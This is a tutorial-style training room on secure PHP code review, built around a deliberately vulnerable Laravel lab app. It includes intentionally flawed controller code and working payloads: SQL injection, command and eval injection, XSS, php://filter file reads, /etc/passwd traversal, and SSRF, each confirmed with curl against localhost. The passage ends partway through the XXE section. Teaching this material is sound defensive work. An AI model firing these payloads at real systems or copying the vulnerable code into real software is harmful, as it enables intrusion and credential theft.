OSA
Task 1

Introduction

Secure code review is the practice of reading an application's source code to find security flaws, understand why they exist, and judge how they can be reached and abused. Because we work with full visibility of the code rather than guessing at its behaviour from the outside, it is a white-box activity.

This stands in contrast to black-box testing, where we have no source and can only infer what the application does from the responses it returns. A black-box tester who watches a login form reject a payload has to guess what happened on the server. When we hold the source, however, we can see the exact comparison the password runs through, the query the username is placed into, and every branch the input can take. As a result, a review tends to find deeper and more certain issues for the time we invest, because the flaw and its root cause sit in the same place in front of us.

Almost every web vulnerability is the same story told with different functions. Untrusted data enters the application at one point and reaches another point that trusts it, with nothing in between that genuinely makes it safe. When we follow that data from where it arrives to where it is dangerously used, we are performing what is called taint analysis, and it is the foundation of secure code review.

Our approach is methodical rather than a fixed set of payloads, and the same process applies whether we are on a paid engagement with a code drop, hunting bugs in an open-source project, or reviewing our own code before it ships.

The skill pays off widely, because a large share of the web still runs on PHP. Small bespoke scripts run on it. Large platforms such as WordPress, Drupal and Magento run on it. So do modern framework applications built on Laravel and Symfony. The functions and conventions differ in each case, but the discipline of tracing untrusted data to a dangerous use stays the same.

Learning Objectives

By the end of this room, you will be able to:

  • Describe what secure code review is, how white-box differs from black-box testing, and when each is appropriate
  • Approach an unfamiliar PHP codebase systematically by identifying its framework and dependencies, reading its configuration, and mapping its attack surface
  • Enumerate PHP sources and sinks and group those sinks by the vulnerability class they produce
  • Trace data flow from source to sink and judge whether any sanitisation in between actually neutralises the input
  • Recognise PHP-specific pitfalls on sight, such as loose comparison, weak randomness, dangerous variable-handling functions, and the stream wrappers
  • Identify and confirm injection, cross-site scripting, file-inclusion, path-traversal, upload, deserialisation, SSRF, and XXE flaws from the source
  • Apply a framework-aware review to Laravel and Symfony
  • Use static-analysis tooling as a lead generator, triage its output, and write a finding up clearly

Prerequisites

This room assumes you can read PHP, although you do not need to be able to write it, and that you are comfortable on the Linux command line with tools such as grep and confirming a finding withcurl. Before starting, it is worth completing the following rooms and modules:

Machine Access

Start the machine attached to this room now by pressing the green Start Machine button below.

?Answer the questions below

  1. I have deployed the machine and can access the codebase.
Task 2

The Review Approach and Mapping the Codebase

Before we start reading, let's consider how much we know about the application, because that shapes the whole review. A white-box review is one we perform with full access to the source code, and often to the running environment as well. A grey-box review is one we perform with only partial information, such as the source but no credentials, or documentation but no code. A black-box review is one we perform with no internal access at all, working only from the way the application behaves externally.

Approach Access Typical use
White-box Full source and configuration Deepest assurance, code drops, internal review
Grey-box Partial information Time-limited engagements, focused review
Black-box External behaviour only Production testing with no source, bug bounty

Separate from how much we can see is how we choose to spend our time. In a coverage-driven review, we read everything, which suits a small or critical codebase where completeness matters most. In a threat-driven review, we start from the assets and entry points that matter most and work outward, which suits anything large enough that reading every line is impossible. In practice, the codebase is almost always larger than the time we have, so we time-box the work and prioritise the highest-value paths.

The Source-to-Sink Model

A source is anywhere untrusted input enters the application. A sink is anywhere that input can cause harm. A sanitiser is anything in between that is meant to make the input safe for the sink it reaches. Our task as reviewers is to find paths that run from a source to a sink without an adequate sanitiser breaking the path along the way.

The word that matters here is adequate. A path can have a sanitiser on it and still be vulnerable if that sanitiser is wrong for the context of the sink, incomplete, or simply not applied to the value that actually reaches the sink. We look at this judgement closely in Task 3.

Getting Oriented in an Unfamiliar Codebase

Our first hour on a new PHP application tends to follow a routine. Before we read any of it closely, we want to know what we are looking at and where the reachable code lives.

First, we identify the framework and its dependencies by reading composer.json and composer.lock. Composer is the dependency manager for PHP. The composer.json file declares the project's direct dependencies, while composer.lock records the exact installed version of every package, whether direct or transitive. Once we know the application is Laravel or Symfony, and which version, we immediately know where its routing, sessions and security controls live. If we find a pinned vulnerable library version here, that is a finding in its own right, before we have read a single line of the application's own code.

The target application for this room declares the following in its composer.json.

{
    "require": {
        "php": "^7.3|^8.0",
        "laravel/framework": "^8.XX",
        "guzzlehttp/guzzle": "^7.0.1"
    },
    "require-dev": {
        "facade/ignition": "2.5.1",
        "phpunit/phpunit": "^9.X"
    }
}

As we can see, the application is built on Laravel 8, so its routes, controllers, models and configuration sit in the conventional Laravel directories. The guzzlehttp/guzzle HTTP client is present, which is worth remembering when we reach server-side request forgery in Task 9, and the pinned facade/ignition version is worth noting now and returning to in Task 10.

Next, we read the configuration. In a Laravel application that means the .env file and the config/ directory, where we look for debug flags left enabled, secrets committed to the repository, and insecure defaults. The target's .env contains the following.

APP_NAME="Stockpile"
APP_ENV=local
APP_KEY=base64:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
APP_DEBUG=true
APP_URL=http://localhost:8080

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=stockpile
DB_USERNAME=stockpile
DB_PASSWORD=REDACTED

As we can see, two values stand out. APP_DEBUG=true exposes detailed error pages, and APP_KEY is the secret underpinning the framework's whole trust model. We return to both in Task 10.

Finally, we locate the entry points. In Laravel, every request is routed through a single front controller at public/index.php, which boots the framework and dispatches the request to the routes defined in routes/web.php and routes/api.php. A front controller is a single script that every request passes through before being routed to the code that handles it. Because every reachable code path begins at a route, the route file becomes our natural index of the application's attack surface.

From the routes, we build a lightweight attack-surface map. Each route points to a controller action, each action calls models and helper classes, and that chain from route to controller to model becomes our worklist for the rest of the review. We do not need a formal diagram for this; a list of routes annotated with the input each one accepts and the controller it reaches is enough to drive the work.

A diagram showing the attack-surface map: HTTP routes on the left pointing to controller actions in the centre, which point to models and helper classes on the right, with arrows representing the flow of a request through the application. The /admin/users route is flagged as having no authentication, and the GET / route reaches an unserialize() sink through the LoadPreferences middleware.

Accessing the Target

We review the source for the target application directly on the attached machine, through the remote desktop provided with this room. The source sits at /var/www/app, and Visual Studio Code is installed on the machine so we can read and navigate it comfortably. Open it from the "Review Source" shortcut on the desktop, or by running code /var/www/app in a terminal, to load the whole project at once. ripgrep is also pre-installed for the command-line searching we use in later tasks.

The application itself runs locally on the machine and is reachable from the machine's own browser at http://localhost:8080, which we use to confirm findings once we have read the code.

With the configuration read and the routes located, we have the groundwork for the hunt that follows. Let us begin it by cataloguing the sources and sinks we trace between.

?Answer the questions below

  1. Which configuration file in the target holds the APP_KEY and the debug flag?
Task 3

Sources, Sinks and Tracing Data Flow

We now perform taint analysis by hand. We identify where untrusted input enters, find the dangerous functions it can reach, and judge whether anything on the path between them makes it safe.

A diagram of the taint model. A source box on the left, holding examples such as $_GET, $_POST and request()->input(), branches into two paths. The upper path passes through a node labelled 'No or wrong sanitiser' (wrong context, incomplete, or not enforced) and reaches a sink marked VULNERABLE. The lower path passes through a node labelled 'Correct sanitiser' (right context, complete, and enforced) and reaches an identical sink marked SAFE. The sink is identical on both paths; the sanitiser on the path decides whether it is exploitable.

Sources

A source is any value an attacker can influence. In PHP, the most common sources are the superglobals, the built-in arrays that the language populates from the request for us. These are $_GET for query-string parameters, $_POST for form bodies, $_REQUEST which merges several of them, $_COOKIE for cookies, and $_FILES for uploads.

The superglobal most often overlooked is $_SERVER, because it carries values an attacker controls even though it looks like server-side data. The User-Agent, Referer, X-Forwarded-For and Host headers all arrive through $_SERVER, and an attacker influences every one of them.

Input also arrives through the raw request body, read with php://input or file_get_contents('php://input') and common in applications that accept JSON. In framework applications, these raw sources are wrapped by request objects, such as Laravel's request()->input() and Symfony's $request->query->get(). Recognising a value as a source is the first half of every finding.

Sinks

A sink is a function or construct where attacker-controlled input causes harm. Grouping sinks by the vulnerability they produce gives us a set of patterns to search a codebase for.

Vulnerability class Common PHP sinks
SQL injection mysqli_query, PDO query(), any string-built query, and the framework raw-query helpers
Command injection system, exec, shell_exec, passthru, popen, proc_open, and the backtick operator
Code injection eval, assert with a string, create_function, and preg_replace with the legacy /e modifier
File inclusion include, require, include_once, require_once
Path traversal and file operations fopen, readfile, file_get_contents, file_put_contents, unlink, move_uploaded_file
Object injection unserialize, and phar:// reached through file operations
Server-side request forgery file_get_contents on a URL, curl_exec, and HTTP-client calls such as Guzzle
XML external entities simplexml_load_string, DOMDocument::loadXML, and simplexml_load_file
Cross-site scripting echo, print, printf, and template output

A sink is only a problem when a source reaches it without adequate sanitisation, so the table is a list of places for us to investigate rather than a list of bugs.

Tracing a Value

Tracing means following a value from a source, through every assignment and function call it passes through, all the way to a sink, and asking at each step whether anything genuinely neutralises it. The target application gives us a clear example in its reporting feature.

// app/Http/Controllers/ReportController.php
public function search(Request $request)
{
    $term = $request->query('q');
    $rows = DB::select("SELECT id, name, sku FROM products WHERE name LIKE '%$term%'");
    return view('reports.search', ['rows' => $rows]);
}

The trace is short. The source is $request->query('q'), the value of the q query-string parameter. It is assigned to $term, then interpolated directly into the string passed to DB::select, which is a raw-query sink. Nothing between the source and the sink alters the value, so the path is open.

Any value we put in the q parameter goes straight into the following query.

SELECT id, name, sku FROM products WHERE name LIKE '%$term%'

So if we search for widget, the value becomes '%widget%' and the query returns matching products, exactly as intended. Because there is no sanitisation, though, we can add a single quote (') to close the string literal, and after it we can write actual SQL. If we send q=%' UNION SELECT username, password, NULL FROM users -- -, the query becomes the following.

SELECT id, name, sku FROM products WHERE name LIKE '%' UNION SELECT username, password, NULL FROM users -- -%'

As we can see, the single quote after % escapes the bounds of the '%$term%' value, the UNION appends a second result set, and the trailing -- - comments out the rest of the original query so it stays valid. The one product search now also returns every username and password hash from the users table.

Why does interpolating the value directly turn a search into a credential dump, rather than a harmless lookup? There are two reasons. First, the database receives one combined string and has no way to tell which characters came from the developer's template and which came from the attacker. Second, characters such as the single quote are syntax to the database, so supplying them changes the structure of the query rather than just its data. As a result, the input is executed as part of the command instead of being treated as a value within it.

A Sanitiser Is Not Always a Correct Sanitiser

The presence of a sanitising function on a path does not mean the path is safe. The function has to be correct for the context the value reaches. The target gives us a second query that looks defended but is not.

$id   = $request->query('id');
$safe = htmlspecialchars($id);
$row  = DB::select("SELECT * FROM users WHERE id = $safe");

The variable is named $safe and a sanitising function has been applied to it, so a quick scan might wave this through. However, htmlspecialchars encodes characters for safe display in HTML, turning < into &lt; and " into &quot;. None of the characters that matter in SQL, the single quote and the SQL keywords, are touched. The value reaches the query unchanged for that context, and an input such as 1 OR 1=1 passes straight through. Take care here, because a value that has been through a sanitiser and even renamed $safe is still injectable when the sanitiser is wrong for the sink.

The same trap recurs in several forms. A denylist that blocks some dangerous characters but not all is incomplete. A cast such as (string) that changes the type without constraining the value does not make it safe. Validation that is computed but never enforced, where a result is checked and the code then continues regardless, leaves the path open. In every one of these cases we ask the same question, namely whether the specific transformation on the path makes the value harmless for the specific sink it reaches.

Finding Sinks Quickly with ripgrep

Reading every file to locate sinks does not scale. ripgrep is a fast recursive search tool, invoked as rg, that searches a whole codebase in seconds. It is pre-installed on the target VM and available on most systems through a package manager or from its repository. We reach for it first to locate every occurrence of a sink, so that we can build a worklist to trace.

To find the command-execution sinks across the application, we run the following from the project root. The -n flag prints line numbers, and the pattern matches several dangerous function names at once.

rg -n "system\(|exec\(|shell_exec\(|passthru\(|popen\(|proc_open\(" .

To locate every deserialisation call, which is the sink behind object injection, we search for unserialize.

rg -n "\bunserialize\s*\(" .

Each hit is a place to trace, not a confirmed bug. The output shows us where to start reading; whether a real source reaches each sink, and whether anything neutralises it, is the work we do next.

Task 4 turns to the language-level behaviours that decide whether the code on these paths is exploitable, the things to catch on sight because a scanner frequently will not.

?Answer the questions below

  1. I have read the task content.
Task 4

Common Pitfalls

Certain behaviours of the PHP language quietly turn ordinary-looking code into a vulnerability. We have to recognise these on sight, because a static scanner often will not flag them, and because they are the difference between code that looks fine and code that is actually exploitable.

Loose Comparison and Type Juggling

PHP gives us two equality operators. The strict operator === compares both value and type, while the loose operator == converts its operands to a common type before comparing them. This conversion is called type juggling, and in security-sensitive checks it is the source of a large share of real PHP authentication bypasses.

The classic case is the magic hash. When PHP compares two strings that both look like a number written in scientific notation, such as a hash beginning with 0e followed only by digits, the loose operator treats both as the floating-point number zero and reports them as equal. The string 0e462097431906509019562988736854 is the MD5 of 240610708, and 0e830400451993494058024219903391 is the MD5 of QNKCDZO, and under == these two different hashes compare as equal because each one is read as 0.

The target application compares a licence token in exactly this way.

// app/Support/License.php
public function verify(string $provided): bool
{
    $expected = $this->storedHash();   // a stored hash, e.g. "0e462097431906509019562988736854"
    return $provided == $expected;     // loose comparison
}

If the stored hash happens to be in the 0e-and-digits form, an attacker can supply any other string whose hash is also in that form, and the loose comparison passes, bypassing the check without ever knowing the real value. The lesson we take from this is that a comparison operator in a security check is always worth a second look, and that === is the correct choice whenever we intend an exact match.

It is worth knowing how this behaviour has changed across PHP versions, because the details we rely on should reflect the language as it is today. PHP 8 changed comparison between a number and a non-numeric string so that the number is converted to a string rather than the string to a number, which closed a wide class of bypasses where input such as "admin" was previously read as 0. However, the magic-hash case survives in PHP 8, because two strings that are both numeric in form are still compared as numbers. A related function, strcmp, historically returned NULL when it was handed an array instead of a string, and NULL loosely equals zero, so a naive check such as strcmp($a, $b) == 0 could be passed by sending an array. In PHP 8 that same misuse throws a TypeError instead, so the technique is specific to PHP 7 and the earlier code we still encounter in the wild. The same loose comparison underlies the non-strict modes of in_array and the switch statement, both of which compare with == unless we tell them otherwise.

Variable-Handling Footguns

Several functions write variables into the current scope from data we may not control. The extract function takes an array and creates a local variable for each key it contains, so calling it on request data hands an attacker the choice of which variables get set. The target contains exactly this pattern.

// app/Http/Controllers/AccountController.php
$isAdmin = false;
extract($_REQUEST); if ($isAdmin) { // privileged branch }

As we can see, the code initialises $isAdmin to false, but extract will happily overwrite a variable that already exists. An attacker simply adds ?isAdmin=1 to the request, extract replaces the safe default with that value, and the privileged branch runs. This is called variable overwrite.

The parse_str function has the same problem when it is used in its single-argument form, populating the scope straight from a query string, although that form was removed in PHP 8 and now requires a second argument to receive the result. Variable variables, written $$name, let input choose which variable is written by name, which gives an attacker another route to the same overwrite.

Weak Randomness

Security tokens have to be unpredictable, and PHP's older random functions were never built for that purpose. The rand and mt_rand functions use the Mersenne Twister algorithm, whose output an attacker can predict after observing enough values, and uniqid is derived from the current time and carries very little entropy. None of these is cryptographically secure.

The target generates its password-reset tokens with exactly these primitives.

// app/Http/Controllers/AccountController.php
$token = md5(uniqid(mt_rand(), true));

Because both the seed and the material are predictable, an attacker who can estimate the server's time and state can reproduce the token. The correct primitives are random_bytes and random_int, which draw from a cryptographically secure source, so a token should be generated with something like bin2hex(random_bytes(32)).

Magic Methods and Deserialisation

Magic methods are special methods that PHP calls automatically at certain moments in an object's life, such as __wakeup when an object is restored from a serialised string, __destruct when it is destroyed, __toString when it is used as a string, and __call when an undefined method is invoked. They connect directly back to the unserialize sink from Task 3, and we look at the full attack they enable in Task 8.

class TempFile {
    public $path;
    public function __destruct() {
        unlink($this->path);
    }
}

If unserialize runs on attacker input and this class is loaded, an attacker can serialise a TempFile object with $path set to any file, and when the restored object is destroyed, its __destruct method deletes that file. The practical takeaway for us is that spotting a deserialisation source should immediately send us looking for usable magic methods in the classes the application loads.

Stream Wrappers

PHP can open many kinds of resource through a single set of file functions, because it understands wrappers, prefixes that change what a path means. The wrappers a reviewer must recognise are php://filter, which can transform a stream and is the usual route to reading source code through a file-inclusion flaw, data://, which lets a path carry its own inline content and can smuggle code into an inclusion, phar://, which exposes a PHP archive as a filesystem and can trigger deserialisation through ordinary file operations, and expect://, which runs a command if the extension is enabled. The reason these matter is that any sink taking a path, an inclusion or a file read, becomes far more dangerous once we realise the attacker may not be passing a normal filename at all. We use php://filter against the target's inclusion flaw in Task 7 and discuss phar:// in Task 8.

Error Suppression and Insecure Defaults

The @ operator suppresses errors from the expression it prefixes, so a call written @unserialize($data) hides failures that would otherwise be noticed, and that might have revealed a problem during testing. Treat @ on a security-relevant call as a flag to read that line closely rather than skip over it.

These language behaviours decide whether the paths we trace are truly exploitable. With them in mind, we put the method to work on the injection family next, walking SQL, command and code injection against the target.

?Answer the questions below

  1. Which comparison operator in the verify() method makes the magic-hash bypass possible?
Task 5

Injection Flaws: SQL, Command, and Code

Injection is the family of flaws where attacker input is treated as part of a command rather than as data within it. We met SQL injection while learning to trace in Task 3, so here we confirm it on the box and then walk its two siblings, command injection and code injection, which share the same root cause in a different interpreter.

Confirming the SQL Injection

The search() method from Task 3 is wired to the /reports/search route. Just like before, we trace the source $request->query('q') into the raw DB::select sink with no sanitiser between them. To confirm it on the target rather than assert it, we can request the endpoint with a UNION payload and watch the credentials come back in the product results.

curl -s "http://localhost:8080/reports/search?q=%25%27%20UNION%20SELECT%20username%2C%20password%2C%20NULL%20FROM%20users%20--%20-"

As we can see, the response now contains rows that did not come from the products table, which confirms the injection is real and not merely theoretical.

Command Injection

Command injection is the flaw where attacker input reaches a function that runs an operating-system command. The PHP sinks are system, exec, shell_exec, passthru, popen, proc_open and the backtick operator. The target exposes a connectivity check that builds a shell command from a request parameter.

// app/Http/Controllers/ToolController.php
public function ping(Request $request)
{
    $host = $request->query('host');
    $output = system("ping -c 1 " . $host);
    return response($output);
}

The source is $request->query('host'), and it is concatenated straight into the string handed to system, which is the sink. A normal request such as host=10.10.10.10 runs ping -c 1 10.10.10.10, exactly as intended. However, the shell treats characters such as the semicolon and the pipe as command separators, so we can append our own command. If we send host=10.10.10.10; id, the shell runs the following.

ping -c 1 10.10.10.10; id

As we can see, the semicolon ends the ping and the shell then runs id, returning the web server's user. We can confirm this against the target on the /tools/ping route.

curl -s "http://localhost:8080/tools/ping?host=127.0.0.1;id"

Why does the shell run our second command rather than treat the whole string as one hostname? Because the output of the concatenation is handed to a shell for interpretation, and to the shell the metacharacters are syntax, not data. A reviewer who sees user input flow into any of the command sinks should assume command injection until a correct defence is proven.

So how is this defended, and why do the obvious defences so often fail? Two functions exist for the job. The escapeshellarg function wraps a value in quotes and escapes its contents so that the shell treats it as a single argument, which is the correct choice for a value such as a hostname. The escapeshellcmd function only escapes shell metacharacters across a whole command string, which still allows an attacker to inject extra arguments to the program being run, so it is weaker and frequently misused. The strongest option is to avoid the shell entirely by passing an argument array to proc_open, so there is no command string for metacharacters to break out of.

Code Injection

Code injection is the same flaw aimed at the PHP interpreter rather than the shell. Here the dangerous functions are the ones that evaluate PHP, namely eval, assert with a string argument, the now-removed create_function, and preg_replace with the legacy /e modifier. The target contains a small expression evaluator.

// app/Http/Controllers/CalcController.php
public function evaluate(Request $request)
{
    $expr = $request->query('expr');
    eval("\$result = " . $expr . ";");
    return response($result);
}

The source $request->query('expr') is concatenated into the string passed to eval, which executes it as PHP. A request such as expr=2+2 sets $result to 4 as intended. However, because the input is run as code, we can supply a whole statement. Sending expr=system('id') makes eval run the following.

$result = system('id');

As we can see, this executes id through PHP and returns its output, which is full code execution on the server. We confirm it on the /tools/calc route.

curl -s "http://localhost:8080/tools/calc?expr=system('id')"

A few of these sinks are version-specific, and a reviewer should know which. The /e modifier to preg_replace, which evaluated the replacement as code, was removed in PHP 7.0. The create_function helper, which built a function body from a string, was removed in PHP 8.0. The assert function evaluated a string argument as code in older versions, was deprecated for that use in PHP 7.2, and no longer evaluates strings in PHP 8.0. The lesson is that eval and these relatives should never receive any value derived from a request, and that finding one of them with a source reaching it is among the most serious results a review can produce.

Cross-site scripting is next. There, the interpreter being abused is the victim's browser rather than the database, the shell or PHP.

?Answer the questions below

  1. I have read the task content.
Task 6

XSS and Output Handling

Cross-site scripting, or XSS, is the flaw where an application places attacker-controlled input into a page without encoding it for the context it lands in, so the input is interpreted as markup or script in the victim's browser. Where the injection flaws of Task 5 abuse a server-side interpreter, XSS abuses the browser, and the harm lands on other users rather than on the server.

There are three forms a reviewer distinguishes. As the name suggests, reflected XSS happens whenever a value from the current request is echoed straight back in the response. Stored XSS is the case where the value is saved and later served to other users, which is more serious because it reaches every viewer. DOM-based XSS lives entirely in client-side JavaScript, where a script writes request-derived data into the page without encoding it. The first two are visible in PHP source; the third lives in the JavaScript the application ships.

Reflected XSS

The target's site search echoes the query back into the page.

// app/Http/Controllers/SearchController.php
public function site(Request $request)
{
    $q = $request->query('q');
    return response("<h1>Results for " . $q . "</h1>");
}

The source $request->query('q') is concatenated into the HTML response with no encoding, which is the sink. A normal search reflects the term harmlessly, but a request such as q=<script>alert(document.domain)</script> is returned as live markup, and the script runs in the browser of anyone who follows the link. We confirm it on the /search route.

curl -s "http://localhost:8080/search?q=<script>alert(1)</script>"

As we can see, the script tags come back unencoded in the response body, so a browser would execute them.

Stored XSS

Stored XSS is more serious, because the payload is served to every viewer without their having to follow a crafted link. The target's profile page renders a user's biography through Blade's unescaped construct.

{{-- resources/views/profile.blade.php --}}
<h2>{{ $user->name }}</h2>
<div>{!! $user->bio !!}</div>

The name is rendered through {{ }}, which escapes it, so it is safe. The biography, however, is rendered through {!! !!}, which outputs the value without escaping. If a user can set their own biography, a script placed in it is stored and then executes in the browser of anyone who views the profile. We return to Blade and Twig escaping in the framework task.

Why Context Decides the Encoding

After demonstrating these, a fair question is why a single encoding function is not enough to make output safe everywhere. The answer is that the correct neutralisation depends on where the value lands. A value placed in HTML text needs HTML-entity encoding, so htmlspecialchars is correct there. A value placed inside an HTML attribute needs the quotes encoded as well, and an unquoted attribute is dangerous regardless. A value placed inside a <script> block or an event handler needs JavaScript encoding, and HTML encoding alone will not save it. A value placed into a URL needs URL encoding. As a result, the reviewer's question is never simply whether the output was encoded, but whether it was encoded for the exact context it reaches, which is the same context-sensitivity we saw with the wrong-context htmlspecialchars on a SQL sink in Task 3.

The defence in PHP is to encode on output with htmlspecialchars using ENT_QUOTES and an explicit UTF-8 charset for HTML contexts, and to rely on a templating engine's automatic escaping rather than hand-rolled output, while treating any unescaped construct as a finding to justify.

The file-handling flaws follow, where the sink takes a path rather than a string of markup.

?Answer the questions below

  1. I have read the task content.
Task 7

File Inclusion, Path Traversal, and Uploads

This family of flaws arises when attacker input reaches a function that takes a path. Depending on the sink, the result is the execution of an attacker-chosen file, the disclosure of a file outside the intended directory, or the writing of a dangerous file to disk. The PHP stream wrappers from Task 4 make each of these worse.

Local and Remote File Inclusion

File inclusion is the flaw where user input reaches include, require, include_once or require_once. Because these functions execute the PHP in the file they load, controlling the path means controlling what code runs. The target builds an include path from a request parameter.

// app/Http/Controllers/PageController.php
public function show(Request $request)
{
    $page = $request->query('page');
    include $page . '.php';
}

The source $request->query('page') is concatenated into the path passed to include, which is the sink. A normal request such as page=about loads about.php, as intended. Local file inclusion, or LFI, is the case where an attacker points the path at a file already on the server, often by traversing directories with ../ sequences to reach something sensitive, or by including a file whose contents they have managed to influence, such as a log file containing a payload. Remote file inclusion, or RFI, is the more severe case where the path points at an attacker-hosted URL, so the server fetches and executes attacker code directly. RFI only works when the allow_url_include setting is enabled, which it is not by default, so a reviewer treats it as conditional on that configuration while treating LFI as exploitable whenever the path is attacker-controlled.

Reading Source with php://filter

Even when an inclusion cannot be turned directly into execution, the php://filter wrapper turns it into a powerful source-disclosure primitive. By asking the filter to base64-encode the target before it is included, an attacker retrieves the file's bytes instead of executing them, which is how PHP source is read through an inclusion flaw. Because the code appends .php to our input, we give the filter a resource without that extension and let the appended .php complete the real filename. Against the target's /page route we can read the source of the application's own middleware.

curl -s "http://localhost:8080/page?page=php://filter/convert.base64-encode/resource=../app/Http/Middleware/LoadPreferences"

As we can see, the response contains a base64 blob rather than a rendered page, and decoding it reveals the file's PHP source, here the very middleware whose deserialisation flaw we reach in Task 8. The base64 step matters because it prevents the file's own PHP tags from being interpreted during inclusion, so we receive the raw source rather than the result of running it. The data:// wrapper is the related offensive case, smuggling inline PHP into an inclusion, though like RFI it depends on allow_url_include being enabled.

Path Traversal

Path traversal is the read-or-write counterpart to inclusion, where the sink is a file operation such as readfile, file_get_contents or fopen rather than an inclusion. The target serves documents from a directory.

// app/Http/Controllers/DownloadController.php
public function get(Request $request)
{
    $file = $request->query('file');
    return response(readfile('/var/www/app/storage/docs/' . $file));
}

The intended use is file=manual.pdf, reading from the documents directory. However, the value is concatenated without any check that it stays inside that directory, so an attacker supplies ../ sequences to climb out of it. Sending file=../../../../../etc/passwd makes the function read the following path.

/var/www/app/storage/docs/../../../../../etc/passwd

As we can see, the traversal sequences cancel the intended directory and resolve to a file anywhere the web server can read. We confirm it on the /download route.

curl -s "http://localhost:8080/download?file=../../../../../etc/passwd"

The defence a reviewer looks for is canonicalisation followed by a containment check, resolving the path with realpath and confirming the result still begins with the intended base directory, together with stripping or rejecting traversal sequences rather than trusting the input.

File Uploads

An upload feature is dangerous when the application lets an attacker place an executable file inside the web root, or trusts attacker-supplied metadata about the file. The target validates an upload by its extension alone.

// app/Http/Controllers/MediaController.php
public function upload(Request $request)
{
    $name = $_FILES['avatar']['name'];
    if (preg_match('/\.(jpg|png)$/i', $name)) {
        move_uploaded_file($_FILES['avatar']['tmp_name'], public_path('uploads/' . $name));
    }
}

The check looks at the filename the client supplied, which an attacker controls, and the destination is inside the public web root. Several weaknesses follow. The validation trusts a client-controlled name rather than inspecting the file's actual content. A double extension such as shell.php.jpg can satisfy a naive pattern while still being served as PHP under some server configurations. The reported MIME type in $_FILES['avatar']['type'] is equally attacker-controlled and must never be trusted. The combination that leads to code execution is an attacker-controlled file landing in a location the web server will execute. A reviewer checks that uploads are validated by content rather than by name, are stored outside the web root or served from a path that will not execute them, and are given a server-generated name rather than the client's.

We met the deserialisation sink while tracing in Task 3. Next we follow it all the way to remote code execution, including the phar:// technique that reaches it through the file operations we have just read.

?Answer the questions below

  1. Which PHP wrapper is used against the inclusion flaw to base64-encode and read a file's source rather than execute it?
Task 8

Insecure Deserialisation

Serialisation turns a PHP value into a storable string, and unserialize turns that string back into a value. The flaw arises when unserialize is called on attacker-controlled data, because the attacker then controls which objects are created and what their properties contain. Combined with the magic methods from Task 4, this leads to a chain of automatic method calls that a reviewer can follow all the way to code execution.

Why a Restored Object Is Dangerous

When unserialize reconstructs an object, PHP may call its magic methods automatically, __wakeup as it is restored and __destruct when it is later destroyed. An attacker who can supply the serialised string therefore chooses the class, sets the properties, and causes those methods to run with attacker-chosen data. A gadget chain is a sequence of such methods, already present in the application's loaded classes, that an attacker strings together to reach a dangerous operation. The individual classes were never written to be malicious, but the attacker assembles their side effects into a path that ends, in the strongest case, at command execution.

The single most important control is the second argument to unserialize. Passing ['allowed_classes' => false] instructs PHP to restore no objects at all, only plain data, which defeats object injection because no magic methods can fire. A reviewer reading an unserialize call therefore checks two things at once, whether the data reaching it is attacker-controlled, and whether the call restricts the classes it will instantiate.

phar:// Deserialisation

There is a route to deserialisation that does not pass through an obvious unserialize call at all. A PHP archive, or Phar, stores serialised metadata, and many ordinary file functions will unserialize that metadata when they are given a path beginning with the phar:// wrapper. This means that a file operation such as file_exists, fopen, getimagesize or an inclusion, when handed an attacker-influenced path, can trigger object injection even though the code contains no unserialize. This is why the file-operation sinks from Task 7 matter to this task, and why a reviewer who controls a path anywhere should consider whether it can be pointed at a phar:// resource. We saw the relevant file sinks while reading the download and upload features.

Reviewing the Target's Deserialisation

We will exploit the target's deserialisation flaw in full during the capstone in Task 12, but we read it here. A ripgrep search for the sink returns two calls.

rg -n "\bunserialize\s*\(" .
app/Http/Middleware/LoadPreferences.php:12:
$prefs
= unserialize($_COOKIE['prefs']); app/Services/CacheReader.php:10:
$data
= unserialize($blob, ['allowed_classes' => false]);

As we can see, the search returns two hits, and the two calls demand different verdicts. The call in LoadPreferences.php reads its data from the attacker-controlled prefs cookie and places no restriction on which classes may be instantiated, so it is exploitable.

// app/Http/Middleware/LoadPreferences.php  (true positive)
$prefs = unserialize($_COOKIE['prefs']);

The call in CacheReader.php passes ['allowed_classes' => false], so although a scanner flags it as object injection, no objects are created and no magic methods can fire, which makes it a false positive.

// app/Services/CacheReader.php  (false positive)
$data = unserialize($blob, ['allowed_classes' => false]);

This contrast is the core of triaging deserialisation findings, and we carry the true-positive call through to exploitation in Task 12. The defence a reviewer recommends is to avoid deserialising untrusted input at all, preferring a data format such as JSON for anything crossing a trust boundary, and to pass ['allowed_classes' => false] wherever native deserialisation is unavoidable.

Two flaws that turn the server itself into a client come next, server-side request forgery and XML external entity injection.

?Answer the questions below

  1. I have read the task content.
Task 9

Server-Side Request Forgery and XXE

The flaws in this task share a shape. In each, the application can be made to act as a client and reach out to a destination the attacker chooses, whether an internal service or an attacker's own server. Both are common in PHP and both are visible from the source.

Server-Side Request Forgery

Server-side request forgery, or SSRF, is the flaw where attacker input controls the destination of a request the server makes. The PHP sinks are file_get_contents given a URL, curl_exec, and HTTP-client calls such as Guzzle, which the target's composer.json showed back in Task 2. The target previews a link by fetching it.

// app/Http/Controllers/FetchController.php
public function preview(Request $request)
{
    $url = $request->query('url');
    $client = new \GuzzleHttp\Client();
    return response((string) $client->get($url)->getBody());
}

The source $request->query('url') becomes the destination of an outbound request with no restriction on where it may point. The intended use fetches an external page, but an attacker supplies an internal address instead. By pointing url at http://127.0.0.1/ or an internal-only service, the attacker reaches systems that are not exposed to the internet but are reachable from the server. A particularly serious target on cloud-hosted systems is the instance metadata service at http://169.254.169.254/, which can return credentials. We confirm the reach against the target on the /link/preview route.

curl -s "http://localhost:8080/link/preview?url=http://127.0.0.1:8080/"

As we can see, the body of an internal resource comes back through the application, which proves the request is made to a destination we control rather than only to intended external sites. The reviewer's defence is to validate the destination against an allowlist of permitted hosts, to resolve and check the address so that it is not an internal or link-local range, and to be aware that following redirects can defeat a naive check, so redirects should be disabled or revalidated.

XML External Entity Injection

XML external entity injection, or XXE, arises when an application parses attacker-controlled XML with a parser configured to resolve external entities. An external entity is a placeholder in the XML document whose value the parser fetches from a URI, so an attacker who defines one can make the parser read a local file or make a network request. The target imports data from XML.

// app/Http/Controllers/ImportController.php
public function import(Request $request)
{
    $dom = new \DOMDocument();
    $dom->loadXML($request->getContent(), LIBXML_NOENT | LIBXML_DTDLOAD);
    return response($dom->textContent);
}

